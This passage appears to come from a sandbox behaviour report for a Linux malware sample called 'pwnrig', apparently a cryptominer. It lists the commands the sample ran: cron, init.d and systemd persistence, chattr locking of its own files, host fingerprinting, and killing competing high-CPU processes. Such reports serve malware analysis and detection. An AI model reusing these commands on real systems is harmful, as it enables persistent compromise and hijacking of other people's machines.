                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/tee
                                                                                                                                                                                                                                                                                                                                                                                                          tee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1876
                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                          sed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                          • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1877
                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chmod
                                                                                                                                                                                                                                                                                                                                                                                                          chmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1878
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1879
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/which
                                                                                                                                                                                                                                                                                                                                                                                                            which chkconfig
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/which
                                                                                                                                                                                                                                                                                                                                                                                                              which update-rc.d
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1881
                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                chattr -i -a /etc/init.d/pwnrig /bin/initdr
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1882
                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/sbin/update-rc.d
                                                                                                                                                                                                                                                                                                                                                                                                                update-rc.d -f pwnrig disable
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Flushes firewall rules
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1883
                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/sbin/update-rc.d
                                                                                                                                                                                                                                                                                                                                                                                                                update-rc.d -f pwnrig remove
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1884
                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/local/sbin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                    systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1885
                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/local/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                      systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1885
                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/sbin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                        systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1885
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                          systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1885
                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                        rm -rf /bin/initdr
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1911
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/cp
                                                                                                                                                                                                                                                                                                                                                                                                                          cp -f -r -- /tmp/service-agent /bin/initdr
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Writes file to system bin folder
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1912
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/tee
                                                                                                                                                                                                                                                                                                                                                                                                                          tee /etc/init.d/pwnrig
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1914
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                          sed -i "1 s/-e //" /etc/init.d/pwnrig
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1915
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chmod
                                                                                                                                                                                                                                                                                                                                                                                                                          chmod +x /etc/init.d/pwnrig /bin/initdr
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1916
                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/sbin/update-rc.d
                                                                                                                                                                                                                                                                                                                                                                                                                            update-rc.d pwnrig defaults
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1917
                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/local/sbin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1918
                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/local/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                  systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1918
                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/sbin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                    systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1918
                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                      systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1918
                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/sbin/update-rc.d
                                                                                                                                                                                                                                                                                                                                                                                                                                    update-rc.d pwnrig enable
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1944
                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/local/sbin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                        systemctl --quiet enable pwnrig
                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1945
                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/local/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                          systemctl --quiet enable pwnrig
                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1945
                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/sbin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                            systemctl --quiet enable pwnrig
                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1945
                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                              systemctl --quiet enable pwnrig
                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1945
                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/local/sbin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                              systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1946
                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/local/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1946
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/sbin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                  systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1946
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                    systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1946
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr +i +a /etc/init.d/pwnrig /bin/initdr
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1972
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/which
                                                                                                                                                                                                                                                                                                                                                                                                                                                  which systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1973
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1974
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -rf /bin/sysdr
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1975
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/cp
                                                                                                                                                                                                                                                                                                                                                                                                                                                      cp -f -r -- /tmp/service-agent /bin/sysdr
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Writes file to system bin folder
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1976
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/tee
                                                                                                                                                                                                                                                                                                                                                                                                                                                      tee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1978
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                      sed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1979
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1980
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                      systemctl enable pwnrige.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1981
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                      systemctl enable pwnrigl.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2008
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                      systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2034
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                      systemctl reload-or-restart pwnrige.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2060
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/hostname
                                                                                                                                                                                                                                                                                                                                                                                                                                                  hostname -I
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1816
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                  awk "{print \$1}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1818
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                    awk "{print \"-\"\$2}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1823
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/head
                                                                                                                                                                                                                                                                                                                                                                                                                                                      head -n 1
                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1822
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                        grep "Port "
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1821
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                          cat /etc/ssh/sshd_config
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1820
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                            sed -e "s/\$//"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1832
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                              sed -e "s/^ *//"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1831
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/cut
                                                                                                                                                                                                                                                                                                                                                                                                                                                                cut -d: -f2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1830
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  grep -m 1 "model name" /proc/cpuinfo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1829
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  awk "{print \$1}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1835
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    awk "{print \$4}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1838
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      awk "{print \$4}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1841
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /tmp/service-agent
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Checks hardware identifiers (DMI)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Reads hardware information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2117
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2141
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/whoami
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            whoami
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/hostname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              hostname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2153
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                grep -c "^processor" /proc/cpuinfo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2154
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2170
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  awk "/[zZ]/ && !a[\$2]++ {print \$2}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ps -A "-ostat,ppid"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2171
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/id
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    id -u
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2174
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2177
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        grep /etc/cron
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ps x
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2175
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2179
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/id
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            id -u
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              awk "{if(\$3>30.0) print \$2}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2185
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                grep -v /usr/sbin/httpd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  grep -v -- "-bash[[:space:]]*\$"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2183
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2182
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ps aux
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2181
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
